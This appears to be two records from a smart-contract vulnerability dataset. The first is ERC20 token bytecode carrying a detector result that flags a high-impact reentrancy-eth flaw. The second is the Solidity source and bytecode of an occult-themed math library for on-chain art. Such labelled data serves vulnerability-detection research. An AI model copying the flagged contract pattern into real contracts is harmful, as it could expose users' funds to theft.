81858888f1935050505015801561217d573d6000803e3d6000fd5b5050565b60006006548211156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bf906139f9565b60405180910390fd5b60006121d2612493565b90506121e781846124be90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222657612225612bb0565b5b6040519080825280602002602001820160405280156122545781602001602082028036833780820191505090505b509050308160008151811061226c5761226b6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123379190613a2e565b8160018151811061234b5761234a6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612416959493929190613b54565b600060405180830381600087803b15801561243057600080fd5b505af1158015612444573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061247457612473612508565b5b61247f848484612545565b8061248d5761248c612710565b5b50505050565b60008060006124a0612724565b915091506124b781836124be90919063ffffffff16565b9250505090565b600061250083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612783565b905092915050565b6000600c5414801561251c57506000600d54145b61254357600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612557876127e6565b9550955095509550955095506125b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612696816128f6565b6126a084836129b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fd9190612f79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612758670de0b6b3a76400006006546124be90919063ffffffff16565b82101561277657600654670de0b6b3a764000093509350505061277f565b81819350935050505b9091565b600080831182906127ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c19190612e22565b60405180910390fd5b50600083856127d99190613bdd565b9050809150509392505050565b60008060008060008060008060006128038a600c54600d546129ed565b9250925092506000612813612493565b905060008060006128268e878787612a83565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b1565b905092915050565b60008082846128a7919061386b565b9050838110156128ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e390613c5a565b60405180910390fd5b8091505092915050565b6000612900612493565b905060006129178284612b0c90919063ffffffff16565b905061296b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129c88260065461284e90919063ffffffff16565b6006819055506129e38160075461289890919063ffffffff16565b6007819055505050565b600080600080612a196064612a0b888a612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a436064612a35888b612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a6c82612a5e858c61284e90919063ffffffff16565b61284e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a9c8589612b0c90919063ffffffff16565b90506000612ab38689612b0c90919063ffffffff16565b90506000612aca8789612b0c90919063ffffffff16565b90506000612af382612ae5858761284e90919063ffffffff16565b61284e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612b1e5760009050612b80565b60008284612b2c9190613c7a565b9050828482612b3b9190613bdd565b14612b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7290613d46565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be882612b9f565b810181811067ffffffffffffffff82111715612c0757612c06612bb0565b5b80604052505050565b6000612c1a612b86565b9050612c268282612bdf565b919050565b600067ffffffffffffffff821115612c4657612c45612bb0565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8782612c5c565b9050919050565b612c9781612c7c565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b6000612ccd612cc884612c2b565b612c10565b90508083825260208201905060208402830185811115612cf057612cef612c57565b5b835b81811015612d195780612d058882612ca5565b845260208401935050602081019050612cf2565b5050509392505050565b600082601f830112612d3857612d37612b9a565b5b8135612d48848260208601612cba565b91505092915050565b600060208284031215612d6757612d66612b90565b5b600082013567ffffffffffffffff811115612d8557612d84612b95565b5b612d9184828501612d23565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dd4578082015181840152602081019050612db9565b83811115612de3576000848401525b50505050565b6000612df482612d9a565b612dfe8185612da5565b9350612e0e818560208601612db6565b612e1781612b9f565b840191505092915050565b60006020820190508181036000830152612e3c8184612de9565b905092915050565b6000819050919050565b612e5781612e44565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b60008060408385031215612e9157612e90612b90565b5b6000612e9f85828601612ca5565b9250506020612eb085828601612e65565b9150509250929050565b60008115159050919050565b612ecf81612eba565b82525050565b6000602082019050612eea6000830184612ec6565b92915050565b6000819050919050565b6000612f15612f10612f0b84612c5c565b612ef0565b612c5c565b9050919050565b6000612f2782612efa565b9050919050565b6000612f3982612f1c565b9050919050565b612f4981612f2e565b82525050565b6000602082019050612f646000830184612f40565b92915050565b612f7381612e44565b82525050565b6000602082019050612f8e6000830184612f6a565b92915050565b600080600060608486031215612fad57612fac612b90565b5b6000612fbb86828701612ca5565b9350506020612fcc86828701612ca5565b9250506040612fdd86828701612e65565b9150509250925092565b600060ff82169050919050565b612ffd81612fe7565b82525050565b60006020820190506130186000830184612ff4565b92915050565b61302781612c7c565b82525050565b6000602082019050613042600083018461301e565b92915050565b60006020828403121561305e5761305d612b90565b5b600061306c84828501612ca5565b91505092915050565b61307e81612eba565b811461308957600080fd5b50565b60008135905061309b81613075565b92915050565b6000602082840312156130b7576130b6612b90565b5b60006130c58482850161308c565b91505092915050565b6000602082840312156130e4576130e3612b90565b5b60006130f284828501612e65565b91505092915050565b6000806000806080858703121561311557613114612b90565b5b600061312387828801612e65565b945050602061313487828801612e65565b935050604061314587828801612e65565b925050606061315687828801612e65565b91505092959194509250565b600080fd5b60008083601f84011261317d5761317c612b9a565b5b8235905067ffffffffffffffff81111561319a57613199613162565b5b6020830191508360208202830111156131b6576131b5612c57565b5b9250929050565b6000806000604084860312156131d6576131d5612b90565b5b600084013567ffffffffffffffff8111156131f4576131f3612b95565b5b61320086828701613167565b935093505060206132138682870161308c565b9150509250925092565b6000806040838503121561323457613233612b90565b5b600061324285828601612ca5565b925050602061325385828601612ca5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613293602083612da5565b915061329e8261325d565b602082019050919050565b600060208201905081810360008301526132c281613286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061333282612e44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613364576133636132f8565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133cb602683612da5565b91506133d68261336f565b604082019050919050565b600060208201905081810360008301526133fa816133be565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061345d602483612da5565b915061346882613401565b604082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ef602283612da5565b91506134fa82613493565b604082019050919050565b6000602082019050818103600083015261351e816134e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613581602583612da5565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613613602383612da5565b915061361e826135b7565b604082019050919050565b6000602082019050818103600083015261364281613606565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136a5602983612da5565b91506136b082613649565b604082019050919050565b600060208201905081810360008301526136d481613698565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613737603f83612da5565b9150613742826136db565b604082019050919050565b600060208201905081810360008301526137668161372a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137a3601c83612da5565b91506137ae8261376d565b602082019050919050565b600060208201905081810360008301526137d281613796565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613835602383612da5565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b600061387682612e44565b915061388183612e44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b6576138b56132f8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061391d602383612da5565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b600061395e82612e44565b915061396983612e44565b92508282101561397c5761397b6132f8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139e3602a83612da5565b91506139ee82613987565b604082019050919050565b60006020820190508181036000830152613a12816139d6565b9050919050565b600081519050613a2881612c8e565b92915050565b600060208284031215613a4457613a43612b90565b5b6000613a5284828501613a19565b91505092915050565b6000819050919050565b6000613a80613a7b613a7684613a5b565b612ef0565b612e44565b9050919050565b613a9081613a65565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613acb81612c7c565b82525050565b6000613add8383613ac2565b60208301905092915050565b6000602082019050919050565b6000613b0182613a96565b613b0b8185613aa1565b9350613b1683613ab2565b8060005b83811015613b47578151613b2e8882613ad1565b9750613b3983613ae9565b925050600181019050613b1a565b5085935050505092915050565b600060a082019050613b696000830188612f6a565b613b766020830187613a87565b8181036040830152613b888186613af6565b9050613b97606083018561301e565b613ba46080830184612f6a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613be882612e44565b9150613bf383612e44565b925082613c0357613c02613bae565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c44601b83612da5565b9150613c4f82613c0e565b602082019050919050565b60006020820190508181036000830152613c7381613c37565b9050919050565b6000613c8582612e44565b9150613c9083612e44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc957613cc86132f8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d30602183612da5565b9150613d3b82613cd4565b604082019050919050565b60006020820190508181036000830152613d5f81613d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090a60bff3503e0758eec6b55d7545a00de2b02d6c00f061e0e570b3dbe3408ae64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
4,823
0x2175b6b2219dcaaf7020cde8f2b59e0a6f373d45
/** *Submitted for verification at Etherscan.io on 2021-12-05 */ // SPDX-License-Identifier: MIT // https://kanon.art - K21 // https://daemonica.io // // // [email protected]@@@@@@@@@@$$$ // [email protected]@@@@@$$$$$$$$$$$$$$## // $$$$$$$$$$$$$$$$$#########*** // $$$$$$$$$$$$$$$#######**!!!!!! // ##$$$$$$$$$$$$#######****!!!!========= // ##$$$$$$$$$#$#######*#***!!!=!===;;;;; // *#################*#***!*!!======;;;::: // ################********!!!!====;;;:::~~~~~ // **###########******!!!!!!==;;;;::~~~--,,,-~ // ***########*#*******!*!!!!====;;;::::~~-,,......,- // ******#**********!*!!!!=!===;;::~~~-,........ // ***************!*!!!!====;;:::~~-,,.......... // !************!!!!!!===;;::~~--,............ // !!!*****!!*!!!!!===;;:::~~--,,.......... // =!!!!!!!!!=!==;;;::~~-,,........... // =!!!!!!!!!====;;;;:::~~--,........ // ==!!!!!!=!==;=;;:::~~--,...:~~--,,,.. // ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,. // ;=============;;;;;;::::~~~-,,...$$###==;;:~--. // :;;==========;;;;;;::::~~~--,,[email protected]@$$##*!=;:~-. // :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~- // :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~, // :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~. // ~:::::::::::::~~~~~---,,,....-:;;=;;;~, // ~~::::::::~~~~~~~-----,,,......,~~::::~-. // -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,. // ---~~~-----,,,,,........,---,. // ,,--------,,,,,,......... // .,,,,,,,,,,,,...... // ............... // ......... pragma solidity ^0.8.0; /* * @title OccultMath library * @author @0xAnimist * @notice Unsafe Math */ library OccultMath { string public constant defaultTic = ":"; string public constant defaultNthPrimeOpen = "("; string public constant defaultNthPrimeClose = ")"; string public constant defaultDeplex = "-P"; struct Index { uint8 i; uint8 j; } /** @notice Slices an array * @param _array The array * @param _length The length of the resulting array * @return An array with the first _length values of the input array, _array */ function slice(uint256[] memory _array, uint256 _length) public pure returns (uint256[] memory){ uint256[] memory output = new uint256[](_length); for (uint256 i = 0; i < _length; i++) { output[i] = _array[i]; } return output; } /** @notice Square root of a number * @param y The number * @return z Square root of the number, y */ function sqrt(uint256 y) public pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } /** @notice Returns the smallest factor of a number * @param _number The number * @return Smallest factor of the number, _number */ function smallestFactor(uint _number) public pure returns (uint256){ require(_number >= 2, "Number must be greater than or equal to 2"); if((_number % 2) == 0){ return 2; } uint end = sqrt(_number); for(uint i = 3; i <= end; i += 2) { if (_number % i == 0) return i; } return _number; } /** @notice Returns an array of the factors of a number * @param _number The number * @return Array of factors of the number, _number */ function factorize(uint256 _number) public pure returns (uint256[] memory){ uint n = _number; uint[] memory factors = new uint[](100); uint len = 0; while (n > 1) { uint smallest = smallestFactor(n); require(len < 100, "factor overflow"); factors[len] = smallest; len = len + 1; n = n / smallest; } uint[] memory output = slice(factors, len); return output; } /** @notice Returns an array of the prime numbers between _first and _last * @param _first The smallest number to consider * @param _last The largest number to consider * @return Array of prime numbers between _first and _last */ function listPrimes(uint256 _first, uint256 _last) public pure returns (uint256[] memory){ // Validate input and initialize storage for primes require(_first > 1, "The starting number must be a positive integer greater than 1"); require(_last > _first, "The range of search values must be greater than 0"); uint firstPrime = 2; uint len = _last - firstPrime + 1; uint256[] memory list = new uint256[](len); // Generate list of all natural numbers in [_first, _first+_total] for(uint i = 0; i < len; i++){ list[i] = i + firstPrime; } // Find primes and eliminate their multiples uint256 limit = sqrt(len); for(uint256 i = 0; i <= limit; i++) { if(list[i] != 0) { for(uint256 pos = i + list[i]; pos < len; pos += list[i]) { list[pos] = 0; } } } uint256 primesTotal = 0; uint256 primesIndex = 0; for(uint256 i = 0; i < len; i++){ if(list[i] != 0){ primesTotal++; } } uint256[] memory primesList = new uint256[](primesTotal); // Populate primes[] with all prime numbers in order for (uint256 i = 0; i < len; i++) { if(list[i] != 0){ primesList[primesIndex++] = list[i]; } } // Trim primes from given start and return if (_first != 2) { uint returnTotal = 0; for(uint i = 0; i < primesTotal; i++){ if(primesList[i] >= _first){ returnTotal = returnTotal + 1; } } uint256[] memory sliced = new uint256[](returnTotal); uint diff = primesTotal - returnTotal; for (uint256 i = 0; i < returnTotal; i++) { sliced[i] = primesList[i+diff]; } return sliced; } return primesList; } /** @notice Returns the base-_base syzygetic pair of a given 8 x 8 matrix of uint8 values * @param _entity The matrix of an entity * @param _base The numerical base of the operation * @return The base-_base syzygetic pair matrix */ function syzygy888(uint8[8][8] memory _entity, uint8 _base) public pure returns (uint8[8][8] memory) { uint8[8][8] memory pair; for(uint8 i = 0; i < 8; i++){ for(uint8 j = 0; j < 8; j++){ require(_entity[i][j] < _base, "entity value out of range"); pair[i][j] = _base - 1 - _entity[i][j]; } } return pair; } /** @notice Returns the base-_base syzygetic pair of a given uint8 value * @param _i The uint8 value * @param _base The numerical base of the operation * @return The base-_base syzygetic pair value */ function getSyzygyPartner8(uint8 _i, uint8 _base) public pure returns (uint8) { require(_i <= _base, "pair out of range"); return _base - 1 - _i; } /** @notice Returns the absolute value of the difference between uint8 values in * corresponding cells in two 8 x 8 matrices * @param _a The first matrix * @param _b The second matrix * @return The matrix of absolute value differences */ function sub888(uint8[8][8] memory _a, uint8[8][8] memory _b) public pure returns (uint8[8][8] memory) { uint8[8][8] memory diff; for(uint8 i = 0; i < 8; i++){ for(uint8 j = 0; j < 8; j++){ if(_a[i][j] >= _b[i][j]){ diff[i][j] = _a[i][j] - _b[i][j]; }else{ diff[i][j] = _b[i][j] - _a[i][j]; } } } return diff; } /** @notice Implements the canonical version of D.C. Barker's Tic Xenotation * @param _number The number to encode * @return The encoded string value */ function encodeTX(uint256 _number) public view returns (string memory) { return encodeTX(_number, defaultTic, defaultNthPrimeOpen, defaultNthPrimeClose, defaultDeplex); } /** @notice Implements a customizable version of D.C. Barker's Tic Xenotation * @param _number The number to encode * @param tic The tic string * @param nthPrimeOpen Open parenthesis * @param nthPrimeClose Close parenthesis * @param deplexToken Deplex token * @return The encoded string value */ function encodeTX( uint256 _number, string memory tic,//canonically ":" string memory nthPrimeOpen,//canonically "(" string memory nthPrimeClose,//canonically ")" string memory deplexToken//canonically "-P" ) public view returns (string memory) { //zero if(_number == 0){ return string(abi.encodePacked(nthPrimeOpen, nthPrimeOpen, deplexToken, nthPrimeClose, nthPrimeClose, tic)); } //one if(_number == 1){ return string(abi.encodePacked(nthPrimeOpen, deplexToken, nthPrimeClose, tic)); } //1st prime if(_number == 2){ return tic; } //2nd prime if(_number == 3){ return string(abi.encodePacked(nthPrimeOpen, tic, nthPrimeClose)); } //initialize primes uint256[] memory primes = listPrimes(2, _number); //initialize hyprimes uint256[] memory hyprimes = new uint256[](primes[primes.length-1]+1); for(uint256 i = 0; i < primes.length; i++){ hyprimes[primes[i]] = i+1; //+1 because primes is 0-based array and hyprimes is 1-based } if(primes[primes.length-1] == _number){//ie. if _number is prime it would be the last in the primes array //nth prime uint256 ordinate = hyprimes[_number]; string memory output; if(hyprimes[ordinate] != 0){//ie. if ordinate is prime //_number is hyprime output = string( abi.encodePacked( encodeTX( ordinate, tic, nthPrimeOpen, nthPrimeClose, deplexToken ))); }else{ //_number is !hyprime uint[] memory ordinateFactors = factorize(ordinate); for(uint i = 0; i < ordinateFactors.length; i++){ output = string( abi.encodePacked( encodeTX( ordinateFactors[i], tic, nthPrimeOpen, nthPrimeClose, deplexToken ), output)); } } return string(abi.encodePacked(nthPrimeOpen, output, nthPrimeClose)); }else{ uint[] memory factors = factorize(_number); string memory output = encodeTX( factors[0], tic, nthPrimeOpen, nthPrimeClose, deplexToken ); for(uint i = 1; i < factors.length; i++){ //encode left to right from the largest factor to the smallest output = string( abi.encodePacked( encodeTX( factors[i], tic, nthPrimeOpen, nthPrimeClose, deplexToken ), output)); } return output; } } /** @notice Returns the 2d base64 8 x 8 alphanumeric gematria matrix * @return The Gematrix */ function getGEMATRIX() public pure returns (uint8[8][8] memory){ uint8[8][8] memory GEMATRIX = [ [ 65, 66, 67, 68, 69, 70, 71, 72], // A B C D E F G H [ 73, 74, 75, 76, 77, 78, 79, 80], // I J K L M N O P [ 81, 82, 83, 84, 85, 86, 87, 88], // Q R S T U V W X [ 89, 90, 97, 98, 99, 100, 101, 102], // Y Z a b c d e f [103, 104, 105, 106, 107, 108, 109, 110], // g h i j k l m n [111, 112, 113, 114, 115, 116, 117, 118], // o p q r s t u v [119, 120, 121, 122, 48, 49, 50, 51], // w x y z 0 1 2 3 [ 52, 53, 54, 55, 56, 57, 43, 47] // 4 5 6 7 8 9 + / ]; return GEMATRIX; } /** @notice An occult Fourier transform that onverts base64 tokenURI values of * an array of onchain NFTs into base-_modulo frequency values conformal mapped * (surjective) to the Gematrix * @dev For doing onchain art exegesis * @return The resulting 8 x 8 uint8 matrix of frequency values */ function sixtyFourier(bytes[] memory _tokenURIs, uint8 _modulo) public pure returns (uint8[8][8] memory) { require(_modulo <= 256, "Mod > 2^8");//modulo cannot exceed max value of uint8 uint8[8][8] memory GEMATRIX = getGEMATRIX(); //build a linear index of the GEMATRIX Index[] memory index = new Index[](123);//122 is the highest value in the GEMATRIX //fill in the index values that point on map for(uint8 i = 0; i < 8; i++){ for(uint8 j = 0; j < 8; j++){ index[GEMATRIX[i][j]] = Index(i,j); } } //construct the frequency cipher uint8[8][8] memory frequencies; uint8 zero = 0; for(uint8 t = 0; t < _tokenURIs.length; t++){ for(uint256 b = 0; b < _tokenURIs[t].length; b++){ uint8 char = uint8(bytes1(_tokenURIs[t][b])); if(char != 61){//skip "=" uint8 i = index[char].i;//TODO plex variable down uint8 i = index[uint8(_tokenURIs[t][d])].i uint8 j = index[char].j;//TODO plex variable down uint8 j = index[uint8(_tokenURIs[t][d])].j; //map frequency onto a _modulo-degree circle //since we are counting one-by-one, this is equivalent to % _modulo if(frequencies[i][j] == (_modulo - 1)){ frequencies[i][j] = zero; }else{ frequencies[i][j]++; } } } } return frequencies; } function isBase64Character(bytes1 _c) public pure returns (bool) { uint8 _cint = uint8(_c); //+ if(_cint == 43 || _cint == 47){//+/ return true; }else if(_cint >= 48 && _cint <= 57){//0-9 return true; }else if(_cint >= 65 && _cint <= 90){//A-Z return true; }else if(_cint >= 97 && _cint <= 122) {//a-z return true; } return false; } function isValidBase64String(string memory _string) public pure returns (bool) { bytes memory data = bytes(_string); require( (data.length % 4) == 0, "!= %4"); for (uint i = 0; i < data.length; i++) { bytes1 c = data[i]; if(!isBase64Character(c)){ if(i >= (data.length - 3)){//last two bytes may be = for padding if(uint8(c) != 61){//= return false; } }else{ return false; } } } return true; } }
0x732175b6b2219dcaaf7020cde8f2b59e0a6f373d4530146080604052600436106101205760003560e01c806341b0a523116100ac578063940c8d051161007b578063940c8d051461034d57806395114d791461037d5780639db02b24146103ad578063b4ef7125146103dd578063d9653ae3146103fb57610120565b806341b0a523146102c3578063651b8786146102e1578063677342ce146102ff578063695af4381461032f57610120565b80631e9537ab116100f35780631e9537ab146101d357806321d90aa8146102035780632cd80e10146102335780632d1abd9b146102635780633bcfd2431461029357610120565b8063037920da146101255780630b2966f3146101555780631323da75146101855780631b3abba0146101a3575b600080fd5b61013f600480360381019061013a919061228d565b61042b565b60405161014c91906128fd565b60405180910390f35b61016f600480360381019061016a919061241b565b6104d8565b60405161017c91906128db565b60405180910390f35b61018d61094d565b60405161019a9190612918565b60405180910390f35b6101bd60048036038101906101b89190612303565b610986565b6040516101ca91906128db565b60405180910390f35b6101ed60048036038101906101e89190612231565b610a94565b6040516101fa91906128db565b60405180910390f35b61021d600480360381019061021891906122ba565b610b46565b60405161022a91906128fd565b60405180910390f35b61024d60048036038101906102489190612193565b610c37565b60405161025a91906128bf565b60405180910390f35b61027d6004803603810190610278919061245b565b610da0565b60405161028a9190612a55565b60405180910390f35b6102ad60048036038101906102a89190612303565b610e0b565b6040516102ba9190612a3a565b60405180910390f35b6102cb610ec7565b6040516102d89190612918565b60405180910390f35b6102e9610f00565b6040516102f69190612918565b60405180910390f35b61031960048036038101906103149190612303565b610f39565b6040516103269190612a3a565b60405180910390f35b610337610fb3565b60405161034491906128bf565b60405180910390f35b61036760048036038101906103629190612151565b6112c8565b60405161037491906128bf565b60405180910390f35b610397600480360381019061039291906121d5565b61150d565b6040516103a491906128bf565b60405180910390f35b6103c760048036038101906103c29190612330565b61186d565b6040516103d49190612918565b60405180910390f35b6103e5611c1e565b6040516103f29190612918565b60405180910390f35b61041560048036038101906104109190612303565b611c57565b6040516104229190612918565b60405180910390f35b6000808260f81c9050602b8160ff1614806104495750602f8160ff16145b156104585760019150506104d3565b60308160ff1610158015610470575060398160ff1611155b1561047f5760019150506104d3565b60418160ff16101580156104975750605a8160ff1611155b156104a65760019150506104d3565b60618160ff16101580156104be5750607a8160ff1611155b156104cd5760019150506104d3565b60009150505b919050565b60606001831161051d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610514906129da565b60405180910390fd5b82821161055f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610556906129ba565b60405180910390fd5b6000600290506000600182856105759190612ced565b61057f9190612c66565b905060008167ffffffffffffffff81111561059d5761059c612f48565b5b6040519080825280602002602001820160405280156105cb5781602001602082028036833780820191505090505b50905060005b828110156106175783816105e59190612c66565b8282815181106105f8576105f7612f19565b5b602002602001018181525050808061060f90612e17565b9150506105d1565b50600061062383610f39565b905060005b8181116106e757600083828151811061064457610643612f19565b5b6020026020010151146106d457600083828151811061066657610665612f19565b5b6020026020010151826106799190612c66565b90505b848110156106d257600084828151811061069957610698612f19565b5b6020026020010181815250508382815181106106b8576106b7612f19565b5b6020026020010151816106cb9190612c66565b905061067c565b505b80806106df90612e17565b915050610628565b5060008060005b8581101561073a57600085828151811061070b5761070a612f19565b5b60200260200101511461072757828061072390612e17565b9350505b808061073290612e17565b9150506106ee565b5060008267ffffffffffffffff81111561075757610756612f48565b5b6040519080825280602002602001820160405280156107855781602001602082028036833780820191505090505b50905060005b8681101561080f5760008682815181106107a8576107a7612f19565b5b6020026020010151146107fc578581815181106107c8576107c7612f19565b5b60200260200101518284806107dc90612e17565b9550815181106107ef576107ee612f19565b5b6020026020010181815250505b808061080790612e17565b91505061078b565b5060028a1461093c576000805b84811015610868578b83828151811061083857610837612f19565b5b602002602001015110610855576001826108529190612c66565b91505b808061086090612e17565b91505061081c565b5060008167ffffffffffffffff81111561088557610884612f48565b5b6040519080825280602002602001820160405280156108b35781602001602082028036833780820191505090505b509050600082866108c49190612ced565b905060005b83811015610929578482826108de9190612c66565b815181106108ef576108ee612f19565b5b602002602001015183828151811061090a57610909612f19565b5b602002602001018181525050808061092190612e17565b9150506108c9565b50819a5050505050505050505050610947565b809750505050505050505b92915050565b6040518060400160405280600181526020017f280000000000000000000000000000000000000000000000000000000000000081525081565b606060008290506000606467ffffffffffffffff8111156109aa576109a9612f48565b5b6040519080825280602002602001820160405280156109d85781602001602082028036833780820191505090505b50905060005b6001831115610a7a5760006109f284610e0b565b905060648210610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e9061295a565b60405180910390fd5b80838381518110610a4b57610a4a612f19565b5b602002602001018181525050600182610a649190612c66565b91508084610a729190612cbc565b9350506109de565b6000610a868383610a94565b905080945050505050919050565b606060008267ffffffffffffffff811115610ab257610ab1612f48565b5b604051908082528060200260200182016040528015610ae05781602001602082028036833780820191505090505b50905060005b83811015610b3b57848181518110610b0157610b00612f19565b5b6020026020010151828281518110610b1c57610b1b612f19565b5b6020026020010181815250508080610b3390612e17565b915050610ae6565b508091505092915050565b600080829050600060048251610b5c9190612e8a565b14610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b939061299a565b60405180910390fd5b60005b8151811015610c2b576000828281518110610bbd57610bbc612f19565b5b602001015160f81c60f81b9050610bd38161042b565b610c175760038351610be59190612ced565b8210610c0a57603d8160f81c60ff1614610c055760009350505050610c32565b610c16565b60009350505050610c32565b5b508080610c2390612e17565b915050610b9f565b5060019150505b919050565b610c3f611d41565b610c47611d41565b60005b60088160ff161015610d955760005b60088160ff161015610d81578460ff16868360ff1660088110610c7f57610c7e612f19565b5b60200201518260ff1660088110610c9957610c98612f19565b5b602002015160ff1610610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd89061297a565b60405180910390fd5b858260ff1660088110610cf757610cf6612f19565b5b60200201518160ff1660088110610d1157610d10612f19565b5b6020020151600186610d239190612d21565b610d2d9190612d21565b838360ff1660088110610d4357610d42612f19565b5b60200201518260ff1660088110610d5d57610d5c612f19565b5b602002019060ff16908160ff16815250508080610d7990612e60565b915050610c59565b508080610d8d90612e60565b915050610c4a565b508091505092915050565